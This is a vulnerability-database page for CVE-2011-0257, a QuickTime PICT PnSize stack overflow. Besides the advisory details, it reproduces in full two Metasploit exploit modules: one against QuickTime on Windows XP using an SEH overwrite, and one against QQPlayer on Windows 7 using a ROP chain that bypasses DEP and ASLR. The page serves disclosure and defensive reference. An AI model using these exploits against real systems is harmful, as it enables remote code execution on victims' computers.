CVE-2011-0257 : Detail

CVE-2011-0257

95.8%V3
Network
2011-08-15
19h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer signedness error in Apple QuickTime before 7.7 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted PnSize opcode in a PICT file that triggers a stack-based buffer overflow.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17777

Publication date : 2011-09-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime PICT PnSize Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0. When opening a .mov file containing a specially crafted PnSize value, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 13691 $', 'References' => [ [ 'CVE', '2011-0257' ], [ 'BID', '49144' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 750, 'BadChars' => "", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0 ], 'Privileged' => false, 'DisclosureDate' => 'Aug 8 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]), ], self.class) end def exploit trigger = rand_text_alpha_upper(3324) trigger[2302, 8] = generate_seh_record(target.ret) trigger[2310, payload.encoded.size] = payload.encoded path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" ) fd = File.open(path, "rb" ) sploit = fd.read(fd.stat.size) fd.close sploit << trigger file_create(sploit) end end __END__ http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt Opcode Name Description Data Size (in bytes) $0007 PnSize pen size (point) 4
Exploit Database EDB-ID : 18137

Publication date : 2011-11-20 23h00 +00:00
Author : hellok
EDB Verified : No

# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS # Date: 2011,11,21 # Author: hellok # Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe # Version: 32_845(lastest) # Tested on: WIN7 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS', 'Description' => %q{ This module exploits a vulnerability in QQPLAYER Player 3.2. When opening a .mov file containing a specially crafted PnSize value, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'hellok', #special thank corelanc0d3r for 'mona' ], 'References' => [ ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 750, 'BadChars' => "", #Memcpy 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 7', { 'Ret' => 0x67664cde } ], ], 'Privileged' => false, 'DisclosureDate' => '11 21 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]), ], self.class) end def exploit # !mona rop rop_gadgets = [ 0x00418007, # POP ECX # RETN (QQPlayer.exe) 0x12345678, 0x67664CE4, 0x01020304, 0x10203040, 0x22331122, 0x23456789, 0x00418007, # POP ECX # RETN (QQPlayer.exe) 0x00a9c18c, # <- *&VirtualProtect() 0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe) #0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe) 0x008cf099, # XCHG EAX,ESI # RETN 0x6497aaad, # POP EBP # RETN (avformat-52.dll) 0x100272bf, # ptr to 'call esp' (from i18nu.dll) 0x005fc00b, # POP EBX # RETN (QQPlayer.exe) 0x00000331, # <- change size to mark as executable if needed (-> ebx) 0x00418007, # POP ECX # RETN (QQPlayer.exe) 0x63d18000, # RW pointer (lpOldProtect) (-> ecx) 0x63d05001, # POP EDI # RETN (avutil-49.dll) 0x63d05002, # ROP NOP (-> edi) 0x008bf00b, # POP EDX # RETN (QQPlayer.exe) 0x00000040, # newProtect (0x40) (-> edx) 0x00468800, # POP EAX # RETN (QQPlayer.exe) 0x90909090, # NOPS (-> eax) 0x008bad5c, # PUSHAD # RETN (QQPlayer.exe) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*") stackpivot = [target.ret].pack('L') buffer =rand_text_alpha_upper(90)#2 buffer << rop_gadgets buffer << payload.encoded junk = rand_text_alpha_upper(2306 - buffer.length) buffer << junk buffer << stackpivot buffer << rand_text_alpha_upper(3000)#3000 path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" ) fd = File.open(path, "rb" ) sploit = fd.read(fd.stat.size) fd.close sploit << buffer file_create(sploit) end end

Products Mentioned

Configuraton 0

Apple>>Quicktime >> Version To (including) 7.6.9

Apple>>Quicktime >> Version 7.0.0

Apple>>Quicktime >> Version 7.0.1

Apple>>Quicktime >> Version 7.0.2

Apple>>Quicktime >> Version 7.0.3

Apple>>Quicktime >> Version 7.0.4

Apple>>Quicktime >> Version 7.1.0

Apple>>Quicktime >> Version 7.1.1

Apple>>Quicktime >> Version 7.1.2

Apple>>Quicktime >> Version 7.1.3

Apple>>Quicktime >> Version 7.1.4

Apple>>Quicktime >> Version 7.1.5

Apple>>Quicktime >> Version 7.1.6

Apple>>Quicktime >> Version 7.2.0

Apple>>Quicktime >> Version 7.2.1

Apple>>Quicktime >> Version 7.3.0

Apple>>Quicktime >> Version 7.3.1

Apple>>Quicktime >> Version 7.3.1.70

Apple>>Quicktime >> Version 7.4.0

Apple>>Quicktime >> Version 7.4.1

Apple>>Quicktime >> Version 7.4.5

Apple>>Quicktime >> Version 7.5.0

Apple>>Quicktime >> Version 7.5.5

Apple>>Quicktime >> Version 7.6.0

Apple>>Quicktime >> Version 7.6.1

Apple>>Quicktime >> Version 7.6.2

Apple>>Quicktime >> Version 7.6.5

Apple>>Quicktime >> Version 7.6.6

Apple>>Quicktime >> Version 7.6.7

Apple>>Quicktime >> Version 7.6.8

Apple>>Quicktime >> Version 7.66.71.0

Apple>>Quicktime >> Version 7.67.75.0

References

http://support.apple.com/kb/HT4826
Tags : x_refsource_CONFIRM
http://securityreason.com/securityalert/8365
Tags : third-party-advisory, x_refsource_SREASON
http://www.exploit-db.com/exploits/17777
Tags : exploit, x_refsource_EXPLOIT-DB